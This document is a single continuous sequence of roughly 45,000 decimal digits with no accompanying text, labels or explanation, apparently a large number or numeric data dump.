056843269871119923832229526871634307063182817300973220810005039734498752753114275035528535458972199143493388451864595584380585461211863761164938535477962810377997490326362321407152576295977253967416357261580008659944770296859377894892574371762950908860370179325469441383991323783650086987247212817664924083594490222077599590907713024828615352015773597517131161050080514754506480112959885213097844065221534688140963800647009795085057153427558028947787206962420859471839038687365684742049149819386497633459213199345732142484853926326706721275723245023702814485635785546719423686297161244059318077757678950313106902889715917827128462518248563543035410510571469585251664537590287682771534906433694877930998395328843723812840382602867435251567750387693925142340790480087731107640348364809514474986530013613191698086418418787891491329333863538956298494690425660401502489090110414669983565920045368995553426414327557671837299545486236161188062270692471869516190503733154056849988658141160633296709271572160733182332123440148272254615263454971947102161601039195101667823871768524595207419577779545673923992046939126936033602917929382107370522182541773631882293998336350101113496730368244330357679946916924425733500552261003562710406394036666550444505950678769029227976319043390120500725182476376049553072191277140304008184793131021737232867513098301436481854541539071904250374145466968452525950512514415426839212487130414952189183118815391524935156948856505498394574118293280711806299825673886041140889121412888161627083443580972714385008106590018752895818351158037758824075509691372488174465164332042167526449570458554545564604912142855093660536639315934700030086025658436909398186941085970626059267056376577516215483968630778326478879285863525429657537861211715116574960357144811783717391232861560455515012624634255398972841954113968817279603520921551434762901597888177960953047506185422957738071263643831441617901468673350687530908514512116611893428746069515489685764520782734669260246868538482806885087676241009392167244403845884567477601462511963094964880086804299836303015173067995219662597797492255105366334919694310905285853440274008592387620315878887354291287916091232749817020037952467412768889376182304222215394874945327268558998463871757352381582596230494471242127879309844026902588611975856915367965741665600804420959457771262972903431979352504186190585462650450917102867398980762541130314202767032013066592124382194605933670476350765151433053240114155567485074095539259961820303862299809902254081639581251937735402888293796877460775383492745418490111622390134021426884699072824299880487818359857996761762018695006365764523732084617686367775283096869189463855714676521847388717411846282508091864634247401391957213008155404768934871045452402782113561383940292558389351539222550418380878191857486055283034614433052720905854197014613960038678052931625681370237617811959567237148333791275475551911524932342167955351662425166549595078424687572947217241148033457825155963814278316071779953822411657408094954592021537276311624932507634148358852842667586795686121528185598508355953425691037990653909114482408574423174563766640111885980042535365931441240027087138403744645578530104334877527683960855648435512133315226469020185605010256364672973769500782487893912150584790921648484954795876898318278483199086833860229333611918743152751903382382665124181037106108781298491905774757805092619633649967791264047561378562237103251836737893615210134550716570680432876704129757424865494613335435441244356657649993193022579805174644104108645206181264776977989740953193439655975420788698852861807790762706215416342636790688198563264399856680896994829786967906321754257498480800999669926206865592016244468214078438244280894018590712601568673285737066260436338168614966866073154691499750956967415795305657528235978266862714138759458516132770778734525740682039118084273522403223864748399532383358831349805197642912232461138115006075837218154982635096698636528377226175643991651274950480660133248202649428094133404093900663720867615953352800318257068578575057983794393002660107863080831764752106947115396040645843710277073320897250271306672399260378294506437517102308228428188017692047687773682023310802358735615259222273589729893918718859894979100551193652162851798095167978364031521611896483422209855230990905674999829815170049250451319514406526334824924728953902984082355484024408921994826779906250930292888757028822798735759826705212139377754105606472513073274094722314470808097956282717789204434887591001778071555662443198338970781697678488444364912854241381190261047865274189697921507419118286767579030512825462703503286516895205413573188689193280757354557047040077749428669093842163005312254312881881194858340720313517962660280381609533864021648169648412953671698527411015584691660637263370084004819292651520282205155311140596750210187817499238807662006469910015878484228231327209451092288620182285280713441800915100157475698310909535512397642112598156956725020458303337899971318441305908504399473426994889807107891639124608031938605578365799375059480043203227604848881357892618878506600643317888043553768164112912784608272835685566558689220859153067643995527863911835828163192434788456222403127360541625111782471037403500932329869102922627985635326779619669919898107116848576331226993095514870519688146719439065897388769397145285645994371344390184015243849104187839807186296448500291181727369127271633933775926997530803713108750311491126044490642371193920108920999574526196236405604110338079264158529916582793013914635116335374540964943928238021477535135566110881929431534919636976460558764880581751424653322875773359602965989721480826195991586540793436757416210316952347709068050376757736144477409577603023006960230475282730903425475171988421879963220266057299980914176991195516921733052183815898641304984840759123610238036124377785773756530956821028796709996610915291546055327582676032856235433450050629871407109820030751573775301410341332676776905374126240528493869414026082682807288916409214751784065658335402681642062040653699564141684817571404565706775156484457219982505623282019528654530702155872414829799321509406719925848098875029307390493330887601793448054705844377825709581918523337205331844096614788544202160699320683812781750244657340823462366169945979447824306609906255540651568226948176858353158715843102037119485383328138083901710044410743365877755544866613219916245441066350424874758382251018813085723435091436305275674967001897056702280284955593103916509084015713139798049923375952031565429433039283409017155539587042190680751795481291325459475634633671961561798485637087345065211205301882441121017015607558511562361007384259975891719583529418926778328331054828639318747265897383690326880970145498733845205556151166554203979881289801236423449719617116341009717241178045999156828262356131225352749252021201230009016463430973201949882605732475873923003892428514390261175921226344802653064293518611209678193278604423779460096827946417740555000827342502194152576310287438648225238540911795121125851552785989616256386485078738756821815310987817633613653321985079843833785816305155894378999099206261729373215944109886767951129331057159805811125863425413080693413953639465400350419945706806777159140350613111815473370553940928081241416749092190807937869441127204134298473459086060052865569281252064979808955972491057540904306012730386495706604883449544050117499109699306130698064644230611439325170205010944620959541919650088186936386120439861157754211517704011073534610852337355641814531102730375734009521672603536934955789895643550125680041730669791740204720116951974454604220227976592843301645991139545705118426550739157490843162099152900120500619497688368276997244559403861862277737918917312560571517605533020531705172175535960050432631929195446723671376289993852990971439496521897821331144558502958408654140914722673340586618106825050631518730145663556752250349022106926489277533022171226070322920224416462685970447969075194190701329527208333517241566259542217911958366593470095292090186870641501088056902510973495035198453606537426129850518799788455521406317776693495431120626034082621005440230423057042205155334826271667660977993563517208453334526996119691303890293012981991799166324040989822965716363356000040612486571471722552759545688385157144045703768624143759104272994687711393842507164690103578609512220063667327971032163984173716388558496332411546604826592195240484843531779544613907722893305899014684451234043153732292681028460527063081232319884201684168674285983549484650776796963419958073001464560383132020325590268125836649244696169867948865701431905568080284657200447724937592157630032573645383640123443085781369767095927564747880970483964541764594616351132591027474021290576008683588901803473184740490362027209870854277174432424199407543899221178975026693445452420240735883899896700092145456919909419305003234151381132555956654303260905984207657538914107926615196459763344799375573975526019949939114428268862339611150242949683925923663866578882742888066744730430839761006300597252586906904819987847445247963704580070892143883553955111243818100470712797199129085279029546645101878360411929383133196177579413265817317941984039271141887666658031638316053777921630836783051775643931604636294852368615350420255805032280444365158136032618528316520221594659298050472872956323658680008024892778266158975294020206200690801993066290705649141443981360829469699616969034088801244817971547053986904869194916521288544711664818719701458343861464638233021715218639474053357287040309984000594328163006305514641216914772732706516773090535617613478577942640845185790755913218512096120937205651088522065754739011539122208265480878303628970187455097412985235249544443212341401643101216410645301816403828119905865513954424436760796871699548644369028650200245415850728625311889096709746187829892127054968367341569349627976891469415944139675124919493270664081969827705117096300565959610852456887181401895490637927386297609160612047648111394572645103741092623806157091700394941226791907779206271037935515045992727827341480203068266806371682058524388137419822650760828246590723622418294239313596676061314356521806128141584658330079047656746895106877859775451100023285589717827322429580695122864791674466323631214605721359249415078559090496421549995562005571008699993418701032840905924032372676353565321371654811209355972529631253052859746643626276129481359326377753526217729620371842010489952590351088955802036921245170063733644345281093118076996917547650600209000244743534676092058346588924828456523626480300556999061845648032968994242612613238930899855514999464920053001937338389280949288692829905975169682083487030857296861728398222218678956587013790351133326256981788428733562250470962242884292219773900722562812944364303213497788246883984208559377333798773039500650171457815779790046550358103936711960482548168135647272059818258360561399973871771606672431573030412623169679026172490537014675297368456087679036975592947484178965879063678724149556227856889643129483738861786290366184448028062310680616350868797635863091007981568750287157835488053469637081238895818311598440315056184323451609043143092178289901214498478015563618508163679307533569586316446145527798747149901530870576378525452065619062784830478142725600079171564167054248249638309518585441835516495805162833831093663356569121963048640810440899279423260111098907826629800319229007729965334195415969207188068784305232473247738701851182659727303134493598666505824228089949070280581717089431999541577385899409255159994334841604327647909481785646315761715392312521661571821312427892713462026377207616645048874301598582062336239014375571345498422719891685448536970222937968395158710926733373592477075748752452971852950554791017295266262719189832185328202922701396770802703777777829421455057519194648804696043132335783577725331345207547660242135798937659316432121282889474020021167818918182975164580476458293473861408434829817065494890175879857913421613825914123712747685146297486975474623965409504126730458087820122140887005189292859038757763118506771823208982453990604101971204365617371627674843722277414538562262223380345177930146382410157006184917262162211720252392544076230000073612797992917945163951834273268086992190688190173960740102659876289668666668809404649621452805313820222945498021945831641100812345164997597972447659860350884150851058101563629892440009173330242675166693076006562344241241158400159090651836738197251494169996501591186018902927158063701569128892993672641961840701007626709870744765483458859144081805843707551322728262393604116121839636655023440511606876582396215371863083509709290052405191846540499705028652475218422377244673163086655534587719419201774905893406280826936504260129090890470987779369211507420075520715260011382371160548877602234539741187749505152320409113521161407761011552266958071178765415553863782472030142640617386716399781317009625739844339809229441268640752484706687175687849508113358372975343361083529537075681574432689998041580173115652435486231482118111918494015336884567296966845346386982197263480488166692014430721670498077995747133304965708487478462518919760002632888651659590404973843215866607653593310096508256555446843220920514997831500607243114336521541581129450743298543777987675991084938395086646934337936216172283585817634550312107557572814784070635449651679853528127526091904822974312998893695529279173403563992054025738843124944353453528792530271776053709835614193341501278279461021240594781489412408308256812081205121541391803783813483160428126268258018238859637971168250434191210965203348495662958276886596323573596697303280768502871450210464736117159980361476054242547258709432195546702344965768527690888238935221402008374988049283963812336163316393181252092837037017904561746042771549956083643025633343292771184347812294503335836888898003339577252698469027601435752781294606146418588152924076483267983061812396462858321864960121852213382211809501410922213435552580678355275690394836739524027370155537067784195547735245250915888281208891588282467019632747707360058716101148744280473380665681511838438349049924027595022902205015749093407679371050720369386561211826841944953668740178281620820029025963227105766579100364422293405106743965911390461224062446757573804145734459381032660252592533077035978230234264062763210363999101708125068671078967867100314363310322826064643843321882338239765580953603857765359630340908314204061861949635477162579005923229851528197500974380232420404032810309705021358676745689457829401971359779479101593145135957824988975142241851939559020880478900249890070364083169950191435574200189449410545354196956490386461672276309434306487192155158813179795804025687931770512561723194798972588812224538362783359945012088752709221656108470241999130998713351472199337386707045435784325727401173292065881770670575857457413701649635371759060782979294539658570487051021430271989460965171941863409508484320084309319715462731555188968184536919150669747174014456394424730212014171913909952925956409852818885546007960042761055797142014519110798126483785078912448060041613783671415101826820888857092339976520359335714211575432038473935250053663905238454325247055241373532350476138101174440513413790176177336061628408021986679958509055366378717906064668562734077531144756785670173699254501398800111506172352638145932358011202365674931881121335087565336240811817808669973246497064807874144752886126176151050366297745750107909200778784470327094313587111141738243447435423584298269032548712017415779306676686140401854902844816231004380329503621797870422095059895796420810171271118637562592257376871655607816506706918037694125778411203677368286339643860284547574401231410119259854199903181762854267985930714835270276321914090736939875375199702281359041996905244522873206902294686530328756611513626320715679983257522810021734891951538542537361031492230494999207366561432179264644358535588602185216909117454202778370286134254258550816575785309948872774131643213359365286828288856800346037688429191006329603615277823947620772069875224654873881700562698638330809832079865615523368546001306528840624263559354565760891612705520998125714528300129836080475413829868739914440091533879207287226197368686058962178980074825569046030339845919557485391742579267394257330138426581715714365503109308886188277701164434842439413320795993985379806761495871549883820916166984047517861223396701520856546013972183541185401962940679418379251500348065696920357744472910969160417559585144649878004206378216431219888465162153674842971343585547465500760986822096123027042428703457704023609151737275744876324912179002261468650878329116737376150259633022814162202724870637739988075171148400284085173497735996617126408060539543384168545758200196206711192488162919122801979182323083314645034026331296746988225598880009468509530703624396539721154116840394897291277239154459551851978508199861849038089108082543774449957584064826160120049645966834140808398859020901187834233923137106382652524788352955804085030077899175121488697545140419109235421749526994150780512362216801906509816599864379148247036515544966491609138612663858344381733226359505747704105111260256201858289128303123462920578421920866039218552730719178542404924479971924445610889854801957555150539386547360350839293314013634768324144590903831649835901415024674668012267232932625955984864269144702083285926142275482346857007980061357341679738134936773445564223794236602080044170523264966268225167666868136112548819320082416453252374178538965052662553682888466113821714385364371966595968520027192736654239158612818049434808195457494708460331528123685453187949468500285340645020402362238658330184385201224840263981488907619880171464203850762741051652186341584611109413343669003361018329811057199710167114425488563670438550994003076990705267948475604990413686838555352910439977089265791845246568387551810321196312814069361251260730507143486317896723516822204113754786037901149860427188789932573099403993394530808559814243823268647926741441900924206631647480594298504950061656971489604753133507007559061797852103721821036050943441901016022566545969439705036316248990249007579686828635196635804448629896117717777461145784284317859756305531199297899067532495918263613513458457048477079621170390851133202321882813106056726321033418348029852473828211266906907284204599955421494852957530613270352374482542919837386343746665064136294121285000334418059101889259743285406075720541479948896084194712855727385744999264499781678214221099046602479622329428058029316134172182345838701999355706268040911439695421662519610860127803482431314669173954107310733515133534266486416635232283049335448736806168387326363744956562279285288324709289979999536079626940457869743446808816848091792380961129954622709746476432567789470109556571616610920317606214342886064712873540590100688977234797140154572951258499148399303466891351828194554623703495671379617361345962027349359341202331097157258122923919663484582739839422845261995008850953751689070187900699691040814348964200863717721344718600936435053378469360882466111755993407152443994560287820226937491996679807535849447505642037352448412717920661584026875198092395718084080295141099118845016827820772132195675618830908834100521225189567819398433511809305180020938259887650393510374791366403635833456978837762615823733546045517312480075591902104164770900789843925579086819876854812391197719483786212315872702335114367979951296867021324099737582272637562932180223214651144362811951513853512580770504911682246442614423848309772064122033359532841535273701538633973805209167141663688058456471528670858823110214810624702614405398404267919345065748280447966613874679657525244335972692549895131584717061289308846630031768665649508035323379390968225977356180960290260346304675013530790380574712562595988495992684340073737359084073811938915072173367583318469347587676219630002869865934503915285452144750742679168651018473937852324818823897570618063057747904897249322685674714509999637920830996283378664929720605989731618549165235430480252553638182906333653097227814544008394898343211275324088105521042804487338353759176898007791403148749065017129707834304617544304577089266949461266602635357341254429106156931231514079061864953950481541979946404230097495233873180844812564910282129824189352214587678422902824341277678024958721748278477145256206904763905518783271948978416814437307185059866312046051949027300414999407736649983769272189595522989860706470471747108853548360284694160484207424891464698125511947441532842340016974796920939114873350184901391281649730838351661992423229460995948348724308881163777192657454282563839461382113705979893411038602233440928434023559283779035186692034569003524532511414234762770369180854418270768514913945655181272272320202609983487051428045285797093309217183759757586146460929084048917769479973823535295998043197550640129185460413933792134219026439198720422035067696030001779786786935450093541151262448157903755226156743631059618490700350405904018388662462779155492635542154558798026984688694627304926363776945519003093651036284717488666166744064545959580472289540961786634488356874203628610364948097380245466052842095199763724545817955083759893690841903150184286669188616142545870023629790748143010982619350890481933509074909596654293490324939308136867236827380095389719261519321205819151336780826775951365398582946127724405200496254455154928056783184852698426542769899196157709705120188607077802589852611539962291958593578326824141475656461445735994123782055717293100733318590461292733174545345435008260396563723875817027242689977675662458777273213225938443467292121920204489611656761451622170465036333181411749534182865205335775156886332736460852939528802501217637958557543827092873097806712353689955767872616345522691836632260955480643635204472635162083056592207320653199785473749761145176346363268237937893627533730386081163811224668067960651870959049236430815311585709388023278477124339562606353193194198612418087833617616735139068274427031145072255024628107261279897840426209818830401543938201083739174082673556614394821099829107472800625042714692533469514079439343379197833157129530202326233359244822126725821051405473508786444669682546264733341639337153157249178425595698162254602657166214473014047742906941519565330905894689197401099021820205265194792928545684172997704618193528375144994699275958981598321875817773878358805244648198908002703320115097100196566927842271848173924920970767543042723698099620620669424182006502937311399169149735697888948870114136983941591992727831184600750466804916046881839246012917977176985513515945499202447046964465874104732013829754860132679828460464514087255688800785641646077138875739126659813453975415562811528805722645831946282491800016749157178363134213728492802569828710418290880097246229020204658229511572984261331848847196811162031829082380589254466179717203016997789994430637342600873123611464285053335857735294912023777850999346421461593828742613742559982246734078303978704685049739494699066622161717586085416190368470353760384076964900386231174790387451747725128286901579137663187869939204873319182731767539400779476306923473748837053250815652636840121172502089360546212014780565175872263012353660741976015724830810549793139108494331277067585815725296938146749497406312217274928727958128572762329714464057877918976790801233824874585832885324877682376010286792202739723353651143165006349615089685971698142567044302249612674760085772237977888697939900671622648978298013605175049740620389162469384104556913544148209628417176817825530527534175913403297893174548277954707098492433707124153644384768255372468787595995082764320385992182558178239208933135918126027388138399745290335001381014505020473426533538157993704396998472819192035265445621491210606049419861659606894747220292968669651306940948129759940676112066787396024014590509239840483900194493443654383572317331128428362120977009187435687786390150623753860423851391157199234575625533438209813997655059839553955640414303937529420740753763997896645639490584884382852877385674995791268220672448946831101756189529976805487438295136364400292921083577227608813218271658397588817960953917091879196647721269768493045295868079334313906600133327250460898716839154051216988615725867253844873077036866985467820569707271490076573109766440655092107838139590775944400052073347343465257832858954929727119988293376516463661201253416440740309688385220915984391143961747679975540689366359611033003014353059866502941098229038391305362343104440950465925697841876966501631978653790514532271504020926441562876507204704704709744457198343673509043672642025251305759806889111569944458467173874947493453308706489780122317121311806871008562490363581006703930548744036538153166756757999703285317450299782952207766509893336715409948281420593319811395325578193285641713965253298114794693174663063044102669001993358331915828848575322035586391446745651314033050337666876412905598054283139407025073245951458271930727159822672920401991313018810048802939054042951384445359600608333795300165554551172295181173186270463406901069594420496717495749930303192906750916751615882227142276868054671276446616544108383348508049234178519426269146410365706897500860174930448224726311036198098063324864383590123364618442946022426345565436286175077587073514884905569211125301974140422591361249544254681448453881589710163265254270496593314632538818747673366133477534801414730033340827166877152203833986515838191042643015119496202049295489091600068819321534355656052094676114269509644475919270488417089981439556764432892503513524664057009643345549335405589173118996703409314485232856474452351608715070233290419597561747857502884533929638313861902219529283654238530644687522757675632245581665517682286810182616070324268028594883876406368226662465041142902875193466518219662650306723223436376223531026949626367142686019454059905385289692673612355581351473280538303277008920994790539743196594553161514852864686436940569116093792810557300350387567691152302404412978508086510511204577603195883148545114534593862182011446613952346997807057133338108569664973486380826593413178344858634674759387443643206021791363346772711865802809129763630580211774209818325268171809267395936966625709765152140483119957294505753012759783180314465496419400571653321373658746949405335740079017946508925497567215240253371052515497561292352244223377227509762945369141611401036951707087618750199679157011125819400764796312855672709998614438798705609532555509850500801478988846604610786748498205805442539298699993759494648418288090939902100599407990390273406056097069524868984295091613940175400865382546549517379648162654812376686580236270851937516309684987204197960907283878926640067206155724318237818272481647248604853368737187530160320964931378287269128031412754498738269558779425285091173228511458890651983940525628658620847751861941737407539368156322559803989167503139329624931618323999116922418586803829266945675209716056149957142938783610229928657465261163387725407700360535937112379979803021848662957756078669415056227030123034263360196108437858928227439181956424313636607220955842610582786223254977168175993463005422309963934060503353193722055200899701655733990701790664624841284708695081539775870506040890516770639968673149542582426195082301107701276696868260152852455266787749407291745361607109505034834560027331959130264436062453737607432071905110342215545288459628817625597168256606618037647922698160869951327320925864813975381722297256452344709127911774310388888166117959941097595695498920710969283266772990140885847633684599158621859001342342924128613352297030761579898763358530964979799573710245408356001127451395689126993758301959039655982542470810139187405815085638651817162987760854922620356540497808885602525227080440954157287271589178203520164758398193097688926022880826510097216818019800309069247604699403745652952004875009500390379912470483010804798910922284074325480076555227831917050512083613206089408411489162965099093965495728587944837545157987085228289874474427573948834208409508006810850823168845327683895115719234490447475079695313265420138665298207322105504018560574253102071931416231066138786090171408400814709733636818316670813737277915770590933770698965007524075168571832739554803660713393768227962548145954009071528281987712574904058298799001886544727988512031940068456369566591383051661563158792751150428833619159396814204583272504876319899899998922670768683391343791997469245082152604616734974467537907376104432831591108916953496950147128301068759273263630499205866945771860041949830327849511583519652768970733194509837120205854575166124268289865189423697691314384445003038389965610258981045172008628963206274494962796500870877737962256747601467378645007793109926300705519885875861191814507609829624424158499141726346976646700276806162693017729448138312394681329796906005058903968727480508275033637024593419638529891237583310315949674944818920567657299712951899165729112222025493914773683086920331728679962408533016693154191475893366052262973667846888357279832610314973883428039398793685717034757718880008044462755748119193432229066859583827505241087657149855405675058486700525396832788721124480115880766950859225957571314761541785435221044278119704717016668221976738102978811402526184102630482523027427162744580654062100675441517082238300756099776754810059953402251597845653384235641981944692272524755103018069087686553728355887743291440286121660368682307397080640805230606528017626843463903290767202241099230248269639718946328492645321606512448921576767846030367625655074355896820992697883300719645938574776210002605831006757231121397447274987277867327312813204018606013948925374789451284168194889009176138563692422117496424880806818325889039406344944364794605964262065840660731349546742685288148052643831767649381632024245358021030178859326937010338338831224278536009489970671251288127420367886703837567895478097116701433889901989537268948872982394826681454207163839734092889569452145616728852404868899722808497303120352920817845808106868670488534455863217005332197013313009441873250026170878171677200507424867145848003014346852194732297376430689006263615210499017996496084418102466723993314497017994318274098652790520134344370520765449733106626280109332821157603569529119105329994141003928088429808084843824009903085956179099971410658649024704331239303819748533610429073220278094629123312786639155143223015010756708030198270697332826224070481501760186192852746245569708780035128151473183669090228980986921015157887205159253255881368008496598713399407849267254778205757889129976426074728860632394782999768056254672492758403532363218066773670738536550189386953633933945230449867031091046885922074226451306907744303613441055511743351555964248362976538624158241862279778151807200914672314386063347270678677474351955738502714862084902583436906437909495258561204821010488299342955815159479298530896267429867452316295628547939627504704429734273010346268021630553875647674510774789749836075124703174759561949213669414444802843055819825793988075503848539399545184408800457770840795908176288329841813505071542030040546630952876180927834273267769524613052306403658924907632940724344090663869791604284505448693954033103929998785095715436590509171361860754617316372849849061859240214661861321265716306988412356362273030924607097257925502105146218135547311736068178154948033564082437597670923116853831188367113351881409655324186395021482895345688147282688287967730505250314898547773151146246225301601117351059428804675367335370580131892259224115725413785788921645994531570007968508862068901015454561138767455295475607919696553224941503480441930799129275093199802952653234516990052749778841525566522929088317920328440099264566187657130260913631040380161583866398606638652798450537397020469739119894938479305454616445635226527690311480890176035742929659874225461648129156715502277563731582275634206236601001693690999382091808856130363655594708276129992922038964294316420659943025967046166507349133757661525763143797533946332291820284698986353055064458051102843027873554360878432703097604974873532180105095730116311040062125872863165822977472080970309263697275119493865010857823366690332628121805892110999739187418580549392867476332182315265355142833599046198143312299983989876847068870204968280909365263098198829731258431707965938418289306637584990003567172626232115019719627980969758676394762737531387641564213496839440102948579166878508606192490124472421911523783377980056141536722601813336102914883244320043350242722464263777888055879609349032787558424933778682477148512008795015761238221856585142793104521865046171591993409362528713061601999054029623460739653758833461540054195066310569661247085301997294156856611896225375904312642145708622784617679419028004682651849387748906592214248487911991918662271139296266232238494551699043585254841821913917799908894473790215416057590633176380087615817089898390976285769285411205422181255864887383302431046450109731783398991620974089472507345040239879018957185142613719686219208494442380737086072214925644640695568247927328315494330363533173588442053689741607846580250486151357718782059090084234788161343602807925789589939423132438381484785740792136044259080985083113625249874935299038257395225726128968754707785738753801671554511704944255210683820631003435647398195875748877710252100989337497421563123488803681118394901178233916265547216406227568716769417700774884982677774140846136894076992197819554515720772342900959188163131896156009469572827990632816545216612141924677890026009181814372234760251968457562388445284754872205140588312323850507606221315213100885258215518660014827776577760445034385817049969548726875748707591769799687350156014091281405372743196523982062526501606129899746880033530680552550134197184840333543354387723609649385703192625604921769576431474389537926252633175379999829889410419808384422181410705167347840814576917739361640268181609534038547130728844470338428834112526386087172206022449433211955413467084240824303498915175347700081932693161286890281312672546426692576684869230126290749252070589545847510067570324951824597889899165947764457281711760190003002022904000884904942624000801260835093211560885558295093241772802237245031479910843948685162421665007916968700951826973237398496858550623234688266775043600355247532799788188890212079015869257654973620520015723293186962473015240987432586977901759410012336169754054594503113219071897318890975420994338954016057281117668832095205037973983569436054307016644760642476048063938758595616205710725678051603413778252502668450216732479158577987050753791332875816466163460220510153366017356357234363339902978404685797605877403235926310921315083717081936596098024421543677417804590887550500715498644191406835702526273703516831255871973032126984071172740674767333241893624277638440498306002911296940470439762775755555182214080799837888879923986089592641714139479276755702175211093782077644898132685095778536366898649907354969623144528190452552803900374492549841990824571501866689670965966183440054470311373519876243917653350631125202652441611723422975194837366865408007532564568715048332975052709261119036716946138923528275635100436874972077826098320672464380434164433293494900240991970312947027449021342214743043362361951210470380852210763691456301594629068678258722140892559136014831268045033431733327193633734226360855037238883515604214121387353140452571695399624249615250647080192361868354897087789902378395396289159644528365156328357706410934771563012040765964785314284688582457257289153434716180962159814791319502616467008940500373883487591836452963668788501857784206127354346113170248623617756568756026178353557936135779166809225008054253298115591802448648748290899179481870784819656346787327821173048214137332200533797036638278665669081208374336529161841674659706658519214254896462439431821525502889815593503957298172247080198281677400978247969600505706903819272932369065173226009296597252782375892289281264250730853671751028805732450629319065357709072068052002301974667814761997727080312659565159198927555756026101406810621328051052168683270389492926859949562654163912405940330109400399979568684073196502729257921497685754721158099678862359911401174598084625774445998735955239292666247398400090892471207371794020409754879739100521383510780564143234969648072636696793427740350343071869203877661375703224103111581916204114593044284737254569545224442377528793692824752756780778501397025768168930873759246616936890375791406299935365274080823139612949263615974161164866649636774793255087420492496921311523756041229105929423572351547761547417758550173188250936813546109163942517301455409485388677728990236935641885243811302878340774019273069295201665959179405498859148617379088624037153545293690737595789343977263161883224073231498810751570586812228863918973894012211094136196336321785664728271128467288084111569424009398254167183429304935420712707805135906403538104670947350189410457633315018417114071031248422600896824517083695144118551952715777432728972626088830805890660488596627591760729898386262269489981089848661550718354493040281663421235825889510539873599268923153476702562118200921889897035970694035835719016306101968031426121399387043385181210936961411562771377340259962422277694309475964285473324998058594736175901320866889453412583523149342987163837110591935856311766076879013805063321636169253968887888757557617983791078548017929681452817119121792346824512639200349285116793500718375813727780605599252579962542427605618753912829432773036082505916576846632827069417005655125242921590033614989494759475194868082924293348683019760608948748918833222949880036770291005295996200375895683986832612576974529022931745028455612888353102568180133695072541740069989986877819900599389338101182561842435572687245820485457588382097086890209822446668743794241859053756868905146561548507735446762308604865659677654750000471737186066561827473187785926993841742687889804375710517268825815423257495253731623750924956286447841476576212274801415966502396649315183689009788465437119838751329463581001723254535539941100009752132965913964303705623499863869847167728853164205263974254657891996491978687177054608230171950583936448867369268261069012312052137776245650672394867148757981242155335377089039166675226531358674760869366138142658985904018978139294117741671009225242003459412600983609390926169222256157769754715905127590516652815779383849624108339734053183729448886716823980851013151200066495364178458251780215443085879060382208437557548064996389285387198622725983452388108490109647222137959699324032719521015683784876406472013441004494007805267547289336175394747931554898759349916516140594687133079233045210256729171265736272428072475642693028125883115715829195697429289211785061976319788800313510830150336214568377043691382487324581128592103215020677521488913182349657369667399490429175111682423744760709221178720376815484439896513031775260406165485369716040804767696819514647362235137256631018155231215435084201570986258126648544344918719033739259607907460356568965602957497161070604264862607778943736906363463604803417088641631920352329475030262116713712787367290498823922025322706374709923670352648227820912304513480732948033019013977234122711170142609377946943101116430955634903337449684681424613519658858701781318465492126986002854543954751195265987697805785877960832636757110779401944418648702692681676954637841806850529155179718308515054915782538716149283414087022261178273108589045356836783885016219522638295110280045003830097998023629772616099554885568859507584792462701413910263889097243168133914335980029289292352833422199085039715137822656897245035024316791835416352623952904246896366931324778151247638180602884013926345020256194123549954759475741852397037229583429201959880661963581163031996127445607667478851332755358159553830332099840383397653502572131682396539344590371622815965800260373500408107280966553027315308463631599942276400295742514870226531996067640151934504238766919744836491612310973240882877047179775236113874674430680808045964451115771062141061569233688279397545422066011689487674809013085260312802131428690068638448693353105755742580576713515979214055642810463869649200208572744343035417847401925132489233763677372736515483935212241068828790631782290527155393305399071474330568763198468319545842150020372951465086684118099292329809701501990730950245159444124269375333604676839252799184819045976531631775759708239259492501044372990397165228761821712155764736258896111944705881984613050837264616843529255831678945063783196816534858144399449466496104895124818745899260186273694553306565679219559917802892205458020233524077663777489606953759007910742305216919468015734515361418776901722761767037174229074280138743499338051050465252836983764567548654463103176723604459015334078292822400228062471577411724433131103751171844575238860907681483238623432555781050939971446725682615326831038536433406583249183197200255225654211335292444432879098780108163109596471665309629208593652915876707175525527726827290822706841209422378170668727986929344879951790759016599973403247790451557052674835032671309784001081066799305496024347881815868271978271462303670551031208635539032176746003791624990323734351785968971277446019791094420519211587751085797624270110972844045843033698576112993750220764035256981706172449797589789652410708896765710944089679452198865915754593695637158325872517449126937558289282957378168849860056993415484519488108665041581393610178628444081803950507369529433768131134472296841580308939043512868275653464290913756675513632870182140265585533536850647746673943927710672528779056587263141666383283585545511089085552251055174925113764399334821219127933153321206345220803268422153901015506894659676937879401713259109122611202507088705674088366609944731401201779004359016893181308033960169728895085679830355428158226500045419153535377159365969419727123773335247349409698016366833824642481932848525141979495283174250036627553354504432369111428803935279481896022892670236166909903757991090051643567332838461838186371177535346209810323088651695710026219903497208953202064988660656747856735765408356637891369671160741839882613704624534532281174074136364794498980487072337223445859110331508682577637283220748853926231153917011392378065230598621214029650927313348686062356447452217035866804146525232509262860205630361365905053348066606558475344130227724239609652927819644075887816369671225419304049179647681592087917723832734088924721430810337671610884157522369375967382768274886436263949762734015777339975438400069069676597857343084817539318194694020259335099746442585876596088152763658087106999269768409730817641497148549463973847950820292967295403076933089877697749496515226623037487768070854812170879069674477585387133131161006859650057526527873355491312471462530200076954112955997097060663959305059695632832950714815130841692070621361004036438859007587178505975273201667461700081221227095666444787724595467573769972018356554678878738742579726723701485514990372021166567407081485255017486132648326233803738306789468444187257101127575750355929709477413756515175264702127347510844240212158179637952849959272078818207790050375579480858077757205493900012192234487190477567717029435657162695359573945134444536309963988525453667535524390691670790287701520685616536835684204977275788508466953929164116057981961086326427710792294075463276042252493572229770241661536595983965128725143778285172140076361948729580597838919741668699471324144843533566114819486299430611098005201504259693987263269956119485777371099206511562522203294291768958107301722261102638453036563307945236457053747429156867515572373932899663196233308794283427642773417255305639078728603429977141773867907154501507668963483083706203101107799582515109172416613392138872568802873269878972321613626445056487443063148179731383483538574506629055427248230422287520202305246360351172121391658774971548314630118458718483615772251717534508979254236669619763230343458597955439747637457697995609286675682791178818363633923760502576073863775693121871762826711030982077802364607373554586899931622619187935378820725456539942205556795758069938763491230448046656640037150179745023541770743740178267333900130498464609223849101006762300786229560039139863824051290669680462178740035889459305359632773873803674391948995713971859980886106582600030367667134933130777239688672738800120351377319122171112743820899319043379403371754013856454779744483449955089345168528619375755399443663031883823725503024733188394685860488564680697697317689968385194314616425142572404001986267322760242791709406599253684821353824486619721405926339414421858059322339011658830164588626662550035096162061339861974623947149792076853224088889968317912402192286308266583065153413996565383460023043744222180211530443496467165917712415852501655478361568568289794698831787820507774158795584217972023140275149208086731289741919546806977949473790537739236116714562843300107667161903706488064944952887686372619957407414981486906290320525008076563910907164704785461132081366988971137098555394930610408570521028501878421525520827626993627792941366342271596379665003786544619712203806537493727095083950116291261086735078579773799769022141605891630084973371658165027114169935801881286263258058314895350776443920481287022414938335521962787303203076510586836315767075257817347283691348801167524488777589